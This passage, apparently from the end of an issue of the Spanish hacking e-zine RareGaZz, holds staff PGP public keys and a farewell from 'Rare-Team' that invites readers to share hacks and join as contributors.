S2Hd+buyYjZE36MEpIXEuWf/5wxZSjl0TmRL37ffd1Uqey0WraZI3YgCpZttSokA
RgQYEQIABgUCNd3f4AAKCRDREhloEEAFmMQgAJ0SvPcAjrZ6c1Yp08S1IrZcWudQ
VQCg9jwTxlwRdQAWIFHqwZ3y0uB7BxA=
=z8re
-----END PGP PUBLIC KEY BLOCK-----
<-->


Aj0 // ajo@thepentagon.com
<++> R16/PGP/Aj0.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQENAze12pQAAAEIALyL67DURDnurf5uPgTQdZezDUijgTVRgmW/DZkiBOVdqKMG
2hNEFQoQd0tp8Dix6zghfiXi8Ae0DmvoH8F/GGMW5K+dx9+Hu8Hm+l2FL7OutPZr
4JR0d1RDTVzuDqOLBnyZuENHzAf6YYI01O9Qev7InyBnYq8b2KknkTMoftb8RnQI
xdAzPlFX87Y0OaTloZf3dZ7B4duol2i+UhBoxG4aoBHtgS+02aWe3OsdgnkkSjgt
Mxq3tazGufe9ZzB7zaVACRzx3l3d8n/i925luEKYW90veFjyq6LSCHnB5+djh2sg
dYqx8UdmgK23PSc+CiS7hSo8WZXh/piirXYNS6UABRG0A0FqMIkBFQMFEDe12pT+
mKKtdg1LpQEBtOkIAKMNhkaZGd34MmKEnGuEGTCOu5gin0yLgjKDxA8J+p5JDBy/
1cQo2KhzxCvFCX2wm1zZMqftDdgrQwDPwUY3WosHizNn7eNEeZvhDT0YURS6jVH2
cgCTRnzZNLXe+3AJbwJPS1Kbvb+VC9xnXd8yk2qD3DOMBoOULTDYk7fyVw0QEX1t
CfTVWzOcAdvL9Ort2QUnY95urWLW5XHnYEMwOTJcJtbX3vQ6wUiEmw26rSf0l39M
z1sD8/qe2v00KqmAgn8fPy8SZ54711ozqZaKs6Gt2H47a5Hxne7Fs9aegT12x+LY
MPVj1vuCipndXf3x9kiPa0FYaBtLv5Sck2shsBQ=
=WO09
-----END PGP PUBLIC KEY BLOCK-----
<-->





----- { R16_18 } -----------------------------------------------------------

--------- { DESPEDIDA } ------------------------------------------------------

--- { Rare-Team }


Esto ha sido todo. Esperamos que la larga espera haya valido la pena, pues
hemos trabajando duramente para subir el nivel y mostraros buenos articulos.

Has realizado algun hack interesante? te gustaria contar como lo hiciste?
contacta con nosotros en raregazz@iname.com

Nos gustaria deciros que en un mes saldra el numero 17 pero ya veis que no
somos buenos con los calculos, asi que trataremos de editarla lo antes
posible. Si quieres que editemos con mas frecuencia ... COLABORA !!

Necesitamos colaboradores, pero por favor, antes de enviarnos los textos,
comentarnos de que se trata para ver si lo aprobamos o no. No queremos que
nadie trabaje para nada. Solo incluiremos articulos novedosos y que sean en
exclusiva para RareGaZz.

Nuestro staff esta creciendo y tenemos intencion de admitir nuevos miembros,
de modo que si tienes conocimientos sobre algun tema under y ganas de trabajar
contacta con nosortos.


Hasta otra !!!.


{ Rare-Team }

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT